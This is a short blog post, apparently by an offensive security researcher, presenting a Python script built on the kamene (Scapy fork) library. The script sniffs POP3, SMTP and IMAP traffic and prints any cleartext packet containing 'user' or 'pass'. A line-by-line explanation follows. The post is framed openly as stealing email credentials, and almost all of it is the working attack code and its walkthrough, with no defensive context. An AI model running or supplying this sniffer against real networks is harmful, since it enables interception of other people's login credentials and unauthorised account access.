Offensive Security Researcher & Quantum Cryptography Analyst

Stealing Email Credentials Using Scapy module

Abdul Wahab Junaid
Stealing Email Credentials Using Scapy module

Scapy is a powerful Python module that allows for packet manipulation, sniffing, forging, and sending of network packets. It is widely used for network analysis and penetration testing. Scapy provides a flexible and easy-to-use interface for crafting and dissecting network packets at various protocol layers.

Python
from kamene.all import *


# our packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mail_packet = bytes(packet[TCP].payload)
        if b'user' in mail_packet.lower() or b'pass' in mail_packet.lower():
            print("[*] Server: %s" % packet[IP].dst)
            print("[*] %s" % packet[TCP].payload)


# fire up our sniffer
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",
      prn=packet_callback,
      store=0)

The code you provided is a simple packet sniffer using the Kamene library, which is a fork of Scapy. This script specifically targets email traffic by sniffing packets on ports commonly associated with email protocols, such as POP3 (port 110), SMTP (port 25), and IMAP (port 143). The script prints information about the server and any packets containing the keywords ‘user’ or ‘pass’ in their payload.

Explanation

  1. Import Kamene Library:

    from kamene.all import *

    This line imports all functions and classes from the Kamene library. Kamene is a network packet manipulation library based on Scapy.

  2. Packet Callback Function:

    def packet_callback(packet):
    if packet[TCP].payload:
        mail_packet = bytes(packet[TCP].payload)
        if b'user' in mail_packet.lower() or b'pass' in mail_packet.lower():
            print("[*] Server: %s" % packet[IP].dst)
            print("[*] %s" % packet[TCP].payload)
    • The packet_callback function is called for each packet captured by the sniffer.
    • It checks if the packet has TCP payload data.
    • It converts the TCP payload to bytes and checks if the lowercase version of the payload contains the strings ‘user’ or ‘pass’.
    • If the condition is met, it prints the destination IP address (packet[IP].dst) and the payload of the TCP packet (packet[TCP].payload).

  3. Sniffing Configuration:

    sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",
      prn=packet_callback,
      store=0)
    • The sniff function captures packets based on the provided filter.
    • The filter includes TCP packets on ports 110 (POP3), 25 (SMTP), or 143 (IMAP).
    • The prn parameter specifies the callback function to be executed for each captured packet (packet_callback).
    • The store parameter is set to 0, indicating that captured packets should not be stored in memory.
Exit mobile version